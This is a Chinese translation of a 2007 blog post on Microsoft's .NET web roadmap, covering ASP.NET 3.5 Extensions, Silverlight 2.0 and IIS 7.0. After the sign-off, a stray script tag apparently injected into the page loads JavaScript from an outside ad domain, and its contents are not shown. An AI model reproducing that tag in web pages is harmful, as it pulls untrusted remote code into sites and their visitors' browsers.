.NET Web產品(ASP.NET, Silverlight, IIS7)路線圖

【原文地址】 .NET Web Product Roadmap (ASP.NET, Silverlight, IIS7)
【原文發表日期】 Thursday, November 29, 2007 9:22 AM

上個星期,我們發佈了Visual Studio 2008 和.NET 3.5。這個發佈對.NET來說,非常巨大,它爲web,客戶端,辦公,和移動開發提供了成堆的新功能和衆多的改進。

在下幾個月裏,我們將發佈建造在Visual Studio 2008 和.NET 3.5基礎之上的一系列另外的產品,進一步完善.NET開發。下面是一些我的團隊正在開發的,預定要在幾個月內發佈的.NET web開發方面的產品的路線圖:

發佈.NET Framework庫的源碼

上個月,我們宣佈了我們將提供給開發人員下載和瀏覽.NET Framework庫的源碼的能力,以及使用Visual Studio 2008來啓用集成的源碼調試功能。你可以在我這裏的博客貼子裏瞭解有關詳情。

我們目前正在完成提供這些源碼的源碼服務器的最後部署,不久就會發布如何在Visual Studio 2008中啓用集成調試體驗的說明。一旦發佈,我會在博客裏討論啓用這個功能的詳細步驟。

ASP.NET 3.5 Extensions(擴展)

VS 2008 和.NET 3.5包含了成堆的ASP.NET開發方面的新特性。我們計劃在明年發佈的“ASP.NET 3.5 Extensions”產品裏提供更多的ASP.NET功能,下個星期你將可以在網上下載這個產品的第一個公開預覽版。

下個星期的ASP.NET 3.5 Extensions預覽版將包括:

  • ASP.NET MVC: 這個ASP.NET模型/視圖/控制器(MVC)框架提供了結構化的模型,促成了web應用中的清晰關注分離,方便你單元測試你的代碼和支持TDD流程。它還幫着提供了對你發佈在應用中的URL更多的控制,以及從中輸出的HTML的更多的控制。你可以在我的ASP.NET MVC教程系列的第一部分中瞭解有關詳情。我希望在這個週末能找到時間撰寫和發表這個系列的第二部分。
  • ASP.NET AJAX改進: ASP.NET 3.5 Extensions中的新ASP.NET AJAX特性將包括更好的瀏覽器歷史支持(往前,往後按鈕的集成,通過 <asp:history> 新服務器端控件實現的服務器端歷史管理支持),通過永久鏈接(permalinks)實現的改良的AJAX內容鏈接,以及另外的JavaScript庫改進等。
  • ASP.NET動態數據支持: ASP.NET 3.5 Extensions將提供允許你更快速地創建數據驅動網站的新特性,它提供了豐富的scaffolding框架(【注】scaffolding, 字典上是腳手架,搭腳手架,支架的意思,在這裏大概的意思是指生成基本的應用代碼,譬如可以根據數據庫內的數據定義生成跟產品有關的模型,控制器,以及視圖等),允許你使用ASP.NET WebForms和ASP.NET MVC進行快速的數據驅動網站的開發。
  • ASP.NET Silverlight支持: 隨着ASP.NET 3.5 Extensions的發佈,我們將提供將Silverlight輕鬆集成進你的ASP.NET應用的支持,這些支持將包括一些新控件,它們方便你在網站上集成Silverlight視頻,音頻和可交互性內容。
  • ADO.NET Data Services (數據服務): 與此同時,我們還將發佈ADO.NET Entity Framework(實體框架)。這提供了一個新的建模框架,允許開發人員定義與數據庫數據定義相對應的概念性模型,這個概念性模型與信息的現實世界觀更爲接近。我們還將發佈一套新的數據服務(代號名爲“Astoria”),方便你從ASP.NET應用中呈示基於REST的API端點。

Silverlight 2.0

2個月前,我們發佈了可用於Mac和Windows的Silverlight 1.0,同時宣佈了準備在Linux上推出Silverlight的計劃。Silverlight 1.0注重於在瀏覽器中促成豐富的媒體場景,以及支持一個JavaScript/AJAX編程模型。

明年,我們將推出Silverlight的一個重大的更新版,注重於促進RIA應用的開發。這個發佈將包括跨平臺,跨瀏覽器版本的.NET Framework,促成瀏覽器中的豐富的.NET開發平臺。今年早些時候,我們發佈了一個早期Alpha版本,內含一些該產品的基本的功能。我們下一個公開預覽版將顯著增加功能集。在下一個Silverlight公開預覽版中將包括下面這些特定於.NET的新特性:

  • WPF UI Framework(界面框架): 目前的Silverlight Alpha版只包含一些基本的控件支持以及一個繪製界面的託管API。下一Silverlight公開預覽版將增加對WPF界面框架的更高級特性的支持。這些包括:可擴展的控件框架模型,佈局管理器支持,雙向數據綁定支持,控件模板和皮膚支持。Silverlight中的WPF界面框架將是與上個星期發佈的.NET Framework 3.5中的WPF界面框架的一個兼容子集。

  • 豐富的控件: Silverlight將提供一套豐富的控件,使得建造RIA應用極其容易。Silverlight的下一個公開預覽版將增加對核心表單控件(文本框,複選框,單選框等),內置的佈局管理控件(StackPanel, Grid等),常用的功能控件(TabControl, Slider, ScrollViewer, ProgressBar等),以及數據操作控件(DataGrid等)等的支持。

  • 豐富的網絡支持: Silverlight將提供豐富的網絡支持。下一個預覽版將增加對REST, POX, RSS, 和 WS* 通訊的支持。它還將增加對跨域網絡訪問的支持(這樣Silverlight客戶端可以訪問網上任何一個可信任來源的資源和數據)。

  • 豐富的基本類庫支持: Silverlight將包括豐富的.NET基本功能類庫的支持 (集合,IO,泛型,線程,全球化,XML,本地儲存等)。下一個公開預覽版還將增加對LINQ to XML和與更豐富的HTML DOM API集成的內置支持。

我們以前一直把這個啓用了.NET的Silverlight版本稱爲“Silverlight V1.1”。在退後一步,仔細看了其中包括的所有新功能之後(上面列出的只不過是一部分功能而已,還有許許多多的特性我們還沒透露呢),我們意識到,將其稱爲1.1實在沒有反映出它的真實本性來。因此,我們決定改名,在以後將其稱爲“Silverlight V2.0”。

我們將在2008年的第一個季度發佈Silverlight 2.0的Beta版。這個Beta將支持一個Go-Live許可,允許開發人員開始建造和部署Silverlight 2.0應用。

我們還將發佈一個免費的Visual Studio 2008工具更新,以在Visual Studio 2008內提供極棒的Silverlight 2.0工具支持,允許開發人員輕鬆地使用任何.NET語言建造Silverlight 應用。我們將同時在Visual Studio 2008的標準和專業版以及免費的Visual Studio 2008 Express版本中支持Silverlight開發。

我將在幾個星期內開始撰寫一個新的博客教程系列,討論如何建造Silverlight 2.0應用,深入透徹地展示其中的新功能。欲知詳情,請留意我的博客。

IIS 7.0

明年早些時候,我們將作爲Windows Server 2008的一部分發布IIS 7.0的最終版。就象我以前在博客裏討論過的,IIS 7.0是我們web服務產品的重大更新,引進了顯著改進的和新的擴展性,配置和管理架構。

IIS 7.0中一個非常酷的東西是它與.NET Framework有着極其良好的集成,允許你使用任何.NET語言擴展和定製服務器。你現在可以輕鬆地使用VB和C#來做一些以前需要非常繁瑣的C++ ISAPI才能編寫的東西。在服務器上對web應用的部署,管理和日常事務現在IIS和ASP.NET下統一起來了。

我們不久還將開始與大家分享新的IIS的web應用部署框架的細節,該框架允許你輕鬆地自動化在單機服務器或跨web farm機器上部署web應用。它將方便你對web應用進行版本控制(包括允許你快速回滾到先前的版本),以及在多個服務器間對他們進行自動調配,它還允許你實現部署任務的完全自動化(包括通過命令行以及PowerShell腳本API)。IIS7和這個web部署框架的組合將允許你比過去任何時候都能更好地部署和擴縮你的ASP.NET服務器應用。

結語

上個星期的VS 2008和.NET 3.5的發佈對.NET開發來說,是向前跨出的巨大的一步。這個發佈不光提供了成堆的新的語言,運行時和工具特性,而且更重要的是,提供了一個我們將來可以建築在其之上的非常堅實的基礎。請留意我的博客,我會對上面提到的產品做更詳細的討論。

希望本文對你有所幫助,

Scott

112130.aspx <script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章